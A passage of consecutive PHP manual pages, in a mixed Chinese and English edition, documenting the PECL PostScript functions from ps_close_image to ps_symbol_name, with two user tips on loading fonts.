ps_closepath()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_circle | 上一级 | ps_close_image


ps_close_image

(PECL)

ps_close_image -- Closes image and frees memory

说明

void ps_close_image ( resource psdoc, int imageid )

警告

本函数暂无文档，仅有参数列表。

返回值

Returns NULL on success or FALSE on failure.

参见

ps_open_image()
ps_open_image_file()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_clip | 上一级 | ps_close


ps_close

(PECL)

ps_close -- Closes a PostScript document

说明

bool ps_close ( resource psdoc )

Closes the PostScript document.

This function outputs a last line into the PostScript document, which is a PostScript comment containing the number of pages. It also writes the bookmark tree.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_open_file()
ps_delete()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_close_image | 上一级 | ps_closepath_stroke


ps_closepath_stroke

(PECL)

ps_closepath_stroke -- Closes and strokes path

说明

bool ps_closepath_stroke ( resource psdoc )

Connects the last point with first point of a path and draws the resulting closed line.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_closepath()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_close | 上一级 | ps_closepath


ps_closepath

(PECL)

ps_closepath -- Closes path

说明

bool ps_closepath ( resource psdoc )

Connects the last point with first point of a path.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_clip()
ps_closepath_stroke()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_closepath_stroke | 上一级 | ps_continue_text


ps_continue_text

(PECL)

ps_continue_text -- Continue text in next line

说明

bool ps_continue_text ( resource psdoc, string text )

Output a text one line below the last outputted line. The line spacing is taken from the value "leading" which must be set with ps_set_value() in points. The actual position of the text is determined by the values "textx" and "texty" which can be requested with ps_get_value()

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_show()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_closepath | 上一级 | ps_curveto


ps_curveto

(PECL)

ps_curveto -- Draws a curve

说明

bool ps_curveto ( resource psdoc, float x1, float y1, float x2, float y2, float x3, float y3 )

Draws a curve described by the three given points.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_lineto()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_continue_text | 上一级 | ps_delete


ps_delete

(PECL)

ps_delete -- Deletes all resources of a PostScript document

说明

bool ps_delete ( resource psdoc )

Mainly frees memory used by the document. Also closes a file, if it was not closed before with ps_close(). You should in any case close the file with ps_close() before, because ps_close() not just closes the file but also outputs a last line containing the PostScript comment with the number of pages in the document. Without this comment, a PostScript viewer may not show the number of pages properly.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_close()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_curveto | 上一级 | ps_end_page


ps_end_page

(PECL)

ps_end_page -- End a page

说明

bool ps_end_page ( resource psdoc )

Ends a page which was started with ps_begin_page().

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_begin_page()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_delete | 上一级 | ps_end_pattern


ps_end_pattern

(PECL)

ps_end_pattern -- End a pattern

说明

bool ps_end_pattern ( resource psdoc )

Ends a pattern which was started with ps_begin_pattern().

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_begin_pattern()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_end_page | 上一级 | ps_end_template


ps_end_template

(PECL)

ps_end_template -- End a template

说明

bool ps_end_template ( resource psdoc )

Ends a template which was started with ps_begin_template().

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_begin_template()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_end_pattern | 上一级 | ps_fill_stroke


ps_fill_stroke

(PECL)

ps_fill_stroke -- Fills and strokes the current path

说明

bool ps_fill_stroke ( resource psdoc )

Fills and draws the path constructed with previously called drawing functions like ps_lineto().

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_fill()
ps_stroke()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_end_template | 上一级 | ps_fill


ps_fill

(PECL)

ps_fill -- Fills the current path

说明

bool ps_fill ( resource psdoc )

Fills the path constructed with previously called drawing functions like ps_lineto().

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_fill_stroke()
ps_stroke()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_fill_stroke | 上一级 | ps_findfont


ps_findfont

(PECL)

ps_findfont -- Loads a font

说明

int ps_findfont ( resource psdoc, string fontname, string encoding [, bool embed] )

Loads a font for later use. Before text is output with a loaded font it must be set with ps_setfont(). This function needs the adobe font metric file in order to calculate the space used up by the characters. A font which is loaded within a page will only be available on that page. Fonts which are to be used in the complete document have to be loaded before the first call of ps_begin_page(). Calling ps_findfont() between pages will make that font available for all following pages.

参数

psdoc

fontname

encoding

ps_findfont() will try to load the file passed in the parameter encoding. Encoding files are of the same syntax as those used by dvips(1). They contain a font encoding vector (which is currently not used but must be present) and a list of extra ligatures to extend the list of ligatures derived from the afm file.

encoding can be NULL or the empty string if the default encoding (TeXBase1) shall be used.

If the encoding is set to builtin then there will be no reencoding and the font specific encoding will be used. This is very useful with symbol fonts.

embed

返回值

Returns the identifier of the font or zero in case of an error. The identifier is a positive number.

参见

ps_begin_page()
ps_setfont()

add a note add a note User Contributed Notes
pepe at dexef dot hu
13-Apr-2006 06:19
I found out that you must copy the <fontname>.afm files next to your php because it's searched there in default.
zeldorblat at gmail dot com
25-Jul-2005 10:47
I found that my Postscript files were taking an incredibly long time to generate and the file sizes were abnormally large.  The problem was that, everytime I chose to set a font I would call ps_findfont() followed by ps_setfont().

It seems that every time ps_findfont() is called, the font gets embedded in the file.  To prevent this, I keep an array of fonts I've already loaded, keyed by the font name.  When I go to set the font, I first check this array to see if I've already loaded the font, and, if so, return the resource handle from that array.  Otherwise, I call ps_findfont() and store the handle in the array.

Note that, if your call to ps_findfont() occurs while inside a page, the font will not be available on other pages.  To get around this I just clear out the array at the end of each page.

My PS file went from 10 M to 75 K, and the time to create the file went from around 15 seconds to less than 1 second.
add a note add a note

后退 | 起点 | 前进
ps_fill | 上一级 | ps_get_buffer


ps_get_buffer

(PECL)

ps_get_buffer -- Fetches the full buffer containig the generated PS data

说明

string ps_get_buffer ( resource psdoc )

Not yet implemented

警告

本函数暂无文档，仅有参数列表。

参见

ps_open_file()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_findfont | 上一级 | ps_get_parameter


ps_get_parameter

(PECL)

ps_get_parameter -- Gets certain parameters

说明

string ps_get_parameter ( resource psdoc, string name [, float modifier] )

Gets several parameters which were set by ps_set_parameter(). Parameters are by definition string values. This function cannot be used to retrieve resources which were also set by ps_set_parameter().

返回值

Returns the value of the parameter or FALSE.

参见

ps_set_parameter()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_get_buffer | 上一级 | ps_get_value


ps_get_value

(PECL)

ps_get_value -- Gets certain values

说明

float ps_get_value ( resource psdoc, string name [, float modifier] )

Gets several values which were set by ps_set_value(). Parameters are by definition float values.

参数

psdoc

name

modifier

The parameter modifier specifies the resource for which the value is to be retrieved. This can be the id of a font or an image. It must be 0.0 if not used.

返回值

Returns the value of the parameter or FALSE.

参见

ps_set_value()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_get_parameter | 上一级 | ps_hyphenate


ps_hyphenate

(PECL)

ps_hyphenate -- Hyphenates a word

说明

array ps_hyphenate ( resource psdoc, string text )

Hyphenates the passed word. ps_hyphenate() evaluates the value hyphenminchars and the parameter hyphendict. hyphendict must be set before calling this function.

This function requires the locale category LC_CTYPE to be set properly. This is done when the extension is initialized by using the environment variables. On Unix systems read the man page of locale.

参数

psdoc

text

text should not contain any non alpha characters. Possible positions for breaks are returned in an array of interger numbers. Each number is the position of the char in text after which a hyphenation can take place.

参见

ps_show_boxed()
locale(1)

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_get_value | 上一级 | ps_lineto


ps_lineto

(PECL)

ps_lineto -- Draws a line

说明

bool ps_lineto ( resource psdoc, float x, float y )

Adds a straight line from the current point to the given coordinates to the current path. Use ps_moveto() to set the starting point of the line.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_moveto()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_hyphenate | 上一级 | ps_makespotcolor


ps_makespotcolor

(PECL)

ps_makespotcolor -- Create spot color

说明

int ps_makespotcolor ( resource psdoc, string name [, float reserved] )

Creates a spot color from the current fill color. The fill color must be defined in rgb, cmyk or gray colorspace. The spot color name can be an arbitrary name. A spot color can be set as any color with ps_setcolor().

返回值

The id of the new spot color or 0 in case of an error.

参见

ps_setcolor()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_lineto | 上一级 | ps_moveto


ps_moveto

(PECL)

ps_moveto -- Sets current point

说明

bool ps_moveto ( resource psdoc, float x, float y )

Sets the current point to new coordinates. If this is the first call of ps_moveto() after a previous path has been ended then it will start a new path. If this function is called in the middle of a path it will just set the current point and start a subpath.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_lineto()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_makespotcolor | 上一级 | ps_new


ps_new

(PECL)

ps_new -- Creates a new PostScript document object

说明

resource ps_new ( void )

Creates a new document instance. It does not create the file on disk or in memory. It just sets up everything.

返回值

Resource of PostScript document or FALSE on failure.

参见

ps_delete()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_moveto | 上一级 | ps_open_file


ps_open_file

(PECL)

ps_open_file -- Opens a file for output

说明

bool ps_open_file ( resource psdoc [, string filename] )

Creates a new file on disk and writes the PostScript document into it. The file will be closed when ps_close() is called.

参数

psdoc

filename

If filename is not passed the document will be created in memory and all output will go straight to the browser.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_close()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_new | 上一级 | ps_open_image_file


ps_open_image_file

(PECL)

ps_open_image_file -- Opens image from file

说明

int ps_open_image_file ( resource psdoc, string type, string filename [, string stringparam [, int intparam]] )

警告

本函数暂无文档，仅有参数列表。

返回值

Returns identifier of image or zero in case of an error. The identifier is a positive number greater than 0.

参见

ps_open_image()
ps_place_image()
ps_close_image()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_open_file | 上一级 | ps_open_image


ps_open_image

(PECL)

ps_open_image -- Reads an image for later placement

说明

int ps_open_image ( resource psdoc, string type, string source, string data, int lenght, int width, int height, int components, int bpc, string params )

Reads an image which is already available in memory. The parameter source is currently not evaluated and assumed to be memory.

返回值

Returns identifier of image or zero in case of an error. The identifier is a positive number greater than 0.

参见

ps_open_image_file()
ps_place_image()
ps_close_image()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_open_image_file | 上一级 | ps_place_image


ps_place_image

(PECL)

ps_place_image -- Places image on the page

说明

bool ps_place_image ( resource psdoc, int imageid, float x, float y, float scale )

Places a formerly loaded image on the page. The image can be scaled.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_open_image()
ps_open_image_file()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_open_image | 上一级 | ps_rect


ps_rect

(PECL)

ps_rect -- Draws a rectangle

说明

bool ps_rect ( resource psdoc, float x, float y, float width, float height )

Draws a rectangle with its lower left corner at (x, y). The rectangle starts and ends in its lower left corner. If this function is called outside a path it will start a new path. If it is called within a path it will add the rectangle as a subpath. If the last drawing operation does not end in the lower left corner then there will be a gap in the path.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_arc()
ps_cirle()
ps_lineto()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_place_image | 上一级 | ps_restore


ps_restore

(PECL)

ps_restore -- Restore previously save context

说明

bool ps_restore ( resource psdoc )

Restores a previously saved graphics context. Any call of ps_save() must be accompanied by a call to ps_restore().

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_save()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_rect | 上一级 | ps_rotate


ps_rotate

(PECL)

ps_rotate -- Sets rotation factor

说明

bool ps_rotate ( resource psdoc, float rot )

Sets the rotation of the coordinate system.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_scale()
ps_translate()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_restore | 上一级 | ps_save


ps_save

(PECL)

ps_save -- Save current context

说明

bool ps_save ( resource psdoc )

Saves the current graphics context, containing colors, translation and rotation settings and some more. A save context can be restored with ps_restore().

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_restore()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_rotate | 上一级 | ps_scale


ps_scale

(PECL)

ps_scale -- Sets scaling factor

说明

bool ps_scale ( resource psdoc, float x, float y )

Sets horizontal and vertical scaling of the coordinate system.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_rotate()
ps_translate()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_save | 上一级 | ps_set_border_color


ps_set_border_color

(PECL)

ps_set_border_color -- Sets color of border for annotations

说明

bool ps_set_border_color ( resource psdoc, float red, float green, float blue )

Annotations like the starting points of links are surrounded by a rectangle. This function sets the color of the border line.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_set_border_dash()
ps_set_border_style()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_scale | 上一级 | ps_set_border_dash


ps_set_border_dash

(PECL)

ps_set_border_dash -- Sets length of dashes for border of annotations

说明

bool ps_set_border_dash ( resource psdoc, float black, float white )

Annotations like the starting points of links are surrounded by a rectangle. This function sets the black and white portion of a dashed border line.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_set_border_color()
ps_set_border_style()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_set_border_color | 上一级 | ps_set_border_style


ps_set_border_style

(PECL)

ps_set_border_style -- Sets border style of annotations

说明

bool ps_set_border_style ( resource psdoc, string style, float width )

Annotations like the starting points of links are surrounded by a rectangle. This function sets the appearance and width of the border line.

参数

psdoc

style

style can be solid or dashed.

width

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_set_border_color()
ps_set_border_dash()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_set_border_dash | 上一级 | ps_set_info


ps_set_info

(PECL)

ps_set_info -- Sets information fields of document

说明

bool ps_set_info ( resource p, string key, string val )

Sets certain information fields of the document. This fields will be shown as a comment in the header of the PostScript file. The values which can be set are Keywords, Subject, Title, Creator, Author, BoundingBox, and Orientation. Be aware that some of them has a meaning to PostScript viewers.

The BoundingBox is usually set to the value given to the first page. This only works if ps_findfont() has not been called before. In such cases the BoundingBox would be left unset unless you set it explicitly with this function.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_findfont()
ps_begin_page()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_set_border_style | 上一级 | ps_set_parameter


ps_set_parameter

(PECL)

ps_set_parameter -- Sets certain parameters

说明

bool ps_set_parameter ( resource psdoc, string name, string value )

Sets several parameters which are used by many functions. Parameters are by definition string values.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_get_parameters()
ps_set_value()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_set_info | 上一级 | ps_set_text_pos


ps_set_text_pos

(PECL)

ps_set_text_pos -- Sets position for text output

说明

bool ps_set_text_pos ( resource psdoc, float x, float y )

Set the position for the next text output. You may alternatively set the x and y value separately by calling ps_set_value() and choosing textx respectively texty as the value name.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_set_value()
ps_show()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_set_parameter | 上一级 | ps_set_value


ps_set_value

(PECL)

ps_set_value -- Sets certain values

说明

bool ps_set_value ( resource psdoc, string name, float value )

Sets several values which are used by many functions. Parameters are by definition float values.

参数

The name can be one of the following:

textrendering

The way how text is shown.

textx

The x coordinate for text output.

texty

The y coordinate for text output.

wordspacing

The distance between words relative to the width of a space.

leading

The distance between lines in pixels.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_get_value()
ps_set_parameter()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_set_text_pos | 上一级 | ps_setcolor


ps_setcolor

(PECL)

ps_setcolor -- Sets current color

说明

bool ps_setcolor ( resource psdoc, string type, string colorspace, float c1, float c2, float c3, float c4 )

Sets the color for drawing, filling, or both.

参数

psdoc

type

The parameter type can be both, fill, or fillstroke.

colorspace

The colorspace should be one of gray, rgb, cmyk, spot, pattern. Depending on the colorspace either only the first, the first three or all parameters will be used.

c1

c2

c3

c4

Bugs

The second parameter is currently not always evaluated. The color is sometimes set for filling and drawing just as if fillstroke were passed.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_set_value | 上一级 | ps_setdash


ps_setdash

(PECL)

ps_setdash -- Sets appearance of a dashed line

说明

bool ps_setdash ( resource psdoc, float on, float off )

Sets the length of the black and white portions of a dashed line.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_setpolydash()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_setcolor | 上一级 | ps_setflat


ps_setflat

(PECL)

ps_setflat -- Sets flatness

说明

bool ps_setflat ( resource psdoc, float value )

警告

本函数暂无文档，仅有参数列表。

参数

psdoc

value

The value must be between 0.2 and 1.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_setdash | 上一级 | ps_setfont


ps_setfont

(PECL)

ps_setfont -- Sets font to use for following output

说明

bool ps_setfont ( resource psdoc, int fontid, float size )

Sets a font, which has to be loaded before with ps_findfont(). Outputting text without setting a font before results in an error.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_findfont()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_setflat | 上一级 | ps_setgray


ps_setgray

(no version information, might be only in CVS)

ps_setgray -- Sets gray value

说明

bool ps_setgray ( resource psdoc, float gray )

Sets the gray value for all following drawing operations.

参数

psdoc

gray

The value must be between 0 (white) and 1 (black).

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_setcolor()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_setfont | 上一级 | ps_setlinecap


ps_setlinecap

(PECL)

ps_setlinecap -- Sets appearance of line ends

说明

bool ps_setlinecap ( resource psdoc, int type )

Sets how line ends look like.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_setlinejoin()
ps_setlinewidth()
ps_setmiterlimit()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_setgray | 上一级 | ps_setlinejoin


ps_setlinejoin

(PECL)

ps_setlinejoin -- Sets how contected lines are joined

说明

bool ps_setlinejoin ( resource psdoc, int type )

Sets how lines are joined.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_setlinecap()
ps_setlinewidth()
ps_setmiterlimit()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_setlinecap | 上一级 | ps_setlinewidth


ps_setlinewidth

(PECL)

ps_setlinewidth -- Sets width of a line

说明

bool ps_setlinewidth ( resource psdoc, float width )

Sets the line width for all following drawing operations.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_setlinecap()
ps_setlinejoin()
ps_setmiterlimit()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_setlinejoin | 上一级 | ps_setmiterlimit


ps_setmiterlimit

(PECL)

ps_setmiterlimit -- Sets the miter limit

说明

bool ps_setmiterlimit ( resource psdoc, float value )

If two lines join in a small angle and the line join is set to miter, then the resulting spike will be very long. The miter limit is the maximum ratio of the miter length (the length of the spike) and the line width.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_setlinecap()
ps_setlinejoin()
ps_setlinewidth()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_setlinewidth | 上一级 | ps_setpolydash


ps_setpolydash

(PECL)

ps_setpolydash -- Sets appearance of a dashed line

说明

bool ps_setpolydash ( resource psdoc, float arr )

Sets the length of the black and white portions of a dashed line. ps_setpolydash() is used to set more complicated dash patterns.

参数

psdoc

arr

arr is a list of length elements alternately for the black and white portion.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_setdash()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_setmiterlimit | 上一级 | ps_shading_pattern


ps_shading_pattern

(PECL)

ps_shading_pattern -- Creates a pattern based on a shading

说明

int ps_shading_pattern ( resource psdoc, int shadingid, string optlist )

Creates a pattern based on a shading, which has to be created before with ps_shading(). Shading patterns can be used like regular patterns.

返回值

The identifier of the pattern or FALSE in case of an error.

参见

ps_shading()
ps_shfill()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_setpolydash | 上一级 | ps_shading


ps_shading

(PECL)

ps_shading -- Creates a shading for later use

说明

int ps_shading ( resource psdoc, string type, float x0, float y0, float x1, float y1, float c1, float c2, float c3, float c4, string optlist )

Creates a shading, which can be used by ps_shfill() or ps_shading_pattern().

The color of the shading can be in any color space except for pattern.

参数

psdoc

type

The type of shading can be either radial or axial. Each shading starts with the current fill color and ends with the given color values passed in the parameters c1 to c4 (see ps_setcolor() for their meaning).

x0, x1, y0, y1

The coordinates x0, y0, x1, y1 are the start and end point of the shading.

c1, c2, c3, c4

See ps_setcolor() for their meaning.

optlist

If the shading is of type radial the optlist must also contain the parameters r0 and r1 with the radius of the start and end circle.

返回值

Returns the identifier of the pattern or FALSE in case of an error.

参见

ps_shading_pattern()
ps_shfill()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_shading_pattern | 上一级 | ps_shfill


ps_shfill

(PECL)

ps_shfill -- Fills an area with a shading

说明

bool ps_shfill ( resource psdoc, int shadingid )

Fills an area with a shading, which has to be created before with ps_shading().

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_shading()
ps_shading_pattern()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_shading | 上一级 | ps_show_boxed


ps_show_boxed

(PECL)

ps_show_boxed -- Output text in a box

说明

int ps_show_boxed ( resource psdoc, string text, float left, float bottom, float width, float height, string hmode [, string feature] )

Outputs a text in a given box. The lower left corner of the box is at (left, bottom). Line breaks will be inserted where needed. Multiple spaces are treated as one. Tabulators are treated as spaces.

The text will be hyphenated if the parameter "hyphenation" is set to "true" and the parameter "hyphendict" contains a valid filename for a hyphenation file. The line spacing is taken from the value "leading". Paragraphs can be separated by an empty line just like in TeX. If the value "parindent" is set to value > 0.0 then the first n lines will be indented. The number n of lines is set by the parameter "numindentlines". In order to prevent indenting of the first m paragraphs set the value "parindentskip" to a positive number.

Used parameters

The output of ps_show_boxed() can be configured with several parameters and values which must be set with either ps_set_parameter() or ps_set_value(). Beside the parameters and values which affect text output the following parameters and values are evaluated.

leading (value)

Distance between baselines of two consecutive lines.

linebreak (parameter)

Set to "true" if you want a carriage return to start a new line instead of treating it as a space. Defaults to "false".

parbreak (parameter)

Set to "true" if you want a carriage return on a single line to start a new paragraph instead of treating it as a space. Defaults to "true".

hyphenation (parameter)

Set to "true" in order to turn hyphenation on. This requires a dictionary to be set with the parameter "hyphendict". Defaults to "false".

hyphendict (parameter)

Filename of the dictionary used for hyphenation pattern (see below).

hyphenminchar (value)

The number of chars which must at least be left over before or after the hyphen. This implies that only words of at least two times this value will be hyphenated. The default value is three. Setting a value of zero will result in the default value.

parindent (value)

Set the amount of space in pixel for indenting the first m lines of a paragraph. m can be set with the value "numindentlines".

parskip (value)

Set the amount of extra space in pixel between paragraphs. Defaults to 0 which will result in a normal line distance.

numindentlines (value)

Number of lines from the start of the paragraph which will be indented. Defaults to 1.

parindentskip (value)

Number of paragraphs in the box whose first lines will not be indented. This defaults to 0. This is useful for paragraphs right after a section heading or text being continued in a second box. In both case one would set this to 1.

linenumbermode (parameter)

Set how lines are to be numbered. Possible values are "box" for numbering lines in the whole box or "paragraph" to number lines within each paragraph.

linenumberspace (value)

The space for the column left of the numbered line containing the line number. The line number will be right justified into this column. Defaults to 20.

linenumbersep (value)

The space between the column with line numbers and the line itself. Defaults to 5.

Hyphenation

Text is hyphenated if the parameter hyphenation is set to true and a valid hyphenation dictionary is set. pslib does not ship its own hyphenation dictionary but uses one from openoffice, scribus or koffice. You can find their dictionaries for different languages in one of the following directories if the software is installed:

/usr/share/apps/koffice/hyphdicts/
/usr/lib/scribus/dicts/
/usr/lib/openoffice/share/dict/ooo/

Currently scribus appears to have the most complete hyphenation dictionaries.

参数

psdoc

text

left

bottom

width

height

hmode

The parameter hmode can be "justify", "fulljustify", "right", "left", or "center". The difference of "justify" and "fulljustify" just affects the last line of the box. In fulljustify mode the last line will be left and right justified unless this is also the last line of paragraph. In justify mode it will always be left justified.

feature

返回值

Number of characters that could not be written.

参见

ps_continue_text()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_shfill | 上一级 | ps_show_xy


ps_show_xy

(PECL)

ps_show_xy -- Output text at given position

说明

bool ps_show_xy ( resource psdoc, string text, float x, float y )

Output a text at the given text position.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_continue_text()
ps_show()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_show_boxed | 上一级 | ps_show


ps_show

(PECL)

ps_show -- Output text

说明

bool ps_show ( resource psdoc, string text )

Output a text at the current text position. The function will issue an error if no font was set before with ps_setfont().

ps_show() evaluates the following parameters and values as set by ps_set_parameter() and ps_set_value().

charspacing (value)

Distance between two consecutive glyphs. If this value is unequal to zero then all ligatures will be resolved. Values less than zero are allowed.

kerning (parameter)

Setting this parameter to "false" will turn off kerning. Kerning is turned on by default.

ligatures (parameter)

Setting this parameter to "false" will turn off the use of ligatures. Ligatures are turned on by default.

underline (parameter)

Setting this parameter to "true" will turn on underlining. Underlining is turned off by default.

overline (parameter)

Setting this parameter to "true" will turn on overlining. Overlining is turned off by default.

strikeout (parameter)

Setting this parameter to "true" will turn on striking out. Striking out is turned off by default.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_continue_text()
ps_show_xy()
ps_setfont()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_show_xy | 上一级 | ps_string_geometry


ps_string_geometry

(PECL)

ps_string_geometry -- Gets geometry of a string

说明

array ps_string_geometry ( resource psdoc, string text [, int fontid [, float size]] )

This function is similar to ps_stringwidth() but returns an array of dimensions.

返回值

An array of the dimensions of a string. The element 'width' contains the width of the string as returned by ps_stringwidth(). The element 'descender' contains the maximum descender and 'ascender' the maximum ascender of the string.

参见

ps_continue_text()
ps_stringwidth()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_show | 上一级 | ps_stringwidth


ps_stringwidth

(PECL)

ps_stringwidth -- Gets width of a string

说明

float ps_stringwidth ( resource psdoc, string text [, int fontid [, float size]] )

Calculates the width of a string in points if it was output in the given font and font size. This function needs an Adobe font metrics file to calculate the precise width. If kerning is turned on, it will be taken into account.

返回值

Width of a string in points.

参见

ps_string_geometry()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_string_geometry | 上一级 | ps_stroke


ps_stroke

(PECL)

ps_stroke -- Draws the current path

说明

bool ps_stroke ( resource psdoc )

Draws the path constructed with previously called drawing functions like ps_lineto().

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

ps_closepath_stroke()
ps_fill()
ps_fill_stroke()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_stringwidth | 上一级 | ps_symbol_name


ps_symbol_name

(PECL)

ps_symbol_name -- Gets name of a glyph

说明

string ps_symbol_name ( resource psdoc, int ord [, int fontid] )

This function needs an Adobe font metrics file to know which glyphs are available.

参数

psdoc

ord

The parameter ord is the position of the glyph in the font encoding vector.

fontid

返回值

The name of a glyph in the given font.

参见

ps_symbol()
ps_symbol_width()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ps_stroke | 上一级 | ps_symbol_width


ps_symbol_width

(PECL)

